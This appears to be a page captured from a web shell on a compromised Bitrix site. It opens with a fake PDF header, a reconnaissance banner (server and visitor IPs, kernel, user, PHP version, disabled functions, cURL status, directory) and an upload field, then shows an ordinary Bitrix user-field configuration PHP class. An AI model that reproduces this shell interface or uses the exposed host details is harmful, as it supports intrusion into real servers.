%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.14.134.46 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/main/lib/userfield/ |
Upload File : |
<?php namespace Bitrix\Main\UserField; use Bitrix\Main\Application; use Bitrix\Main\Error; use Bitrix\Main\ErrorCollection; use Bitrix\Main\Localization\Loc; abstract class ConfigComponent extends \CBitrixComponent { public const ERROR_CODE_NO_MODULE_ERROR = 'UF_CONFIG_NO_MODULE'; /** @var \Bitrix\Main\UserField\UserFieldAccess */ protected $access; protected $entityId = ''; protected $moduleId; /** @var ErrorCollection */ protected $errorCollection; protected $userTypes; protected function init(): void { $this->errorCollection = new ErrorCollection(); $request = Application::getInstance()->getContext()->getRequest(); $this->entityId = $this->arParams['entityId'] ?: $request->get('entityId'); $this->moduleId = $this->arParams['moduleId'] ?: $request->get('moduleId'); if(!$this->moduleId) { $this->errorCollection[] = $this->getNoModuleError(); return; } $this->access = UserFieldAccess::getInstance($this->moduleId); if(!$this->access) { $this->errorCollection[] = $this->getAccessDeniedError(); return; } } protected function getNoModuleError(): Error { return new Error(Loc::getMessage('MAIN_USER_FIELD_CONFIG_COMPONENT_NO_MODULE_ERROR'), static::ERROR_CODE_NO_MODULE_ERROR); } protected function getAccessDeniedError(): Error { return new Error(Loc::getMessage('MAIN_USER_FIELD_CONFIG_COMPONENT_ACCESS_DENIED_ERROR'), static::ERROR_CODE_NO_MODULE_ERROR); } protected function getUserTypes(): array { if(!$this->userTypes) { global $USER_FIELD_MANAGER; $this->userTypes = $USER_FIELD_MANAGER->GetUserType(); $restrictedTypes = $this->access->getRestrictedTypes(); foreach($restrictedTypes as $typeId) { unset($this->userTypes[$typeId]); } } return $this->userTypes; } protected function setTitle(string $title): void { global $APPLICATION; $APPLICATION->SetTitle($title); } }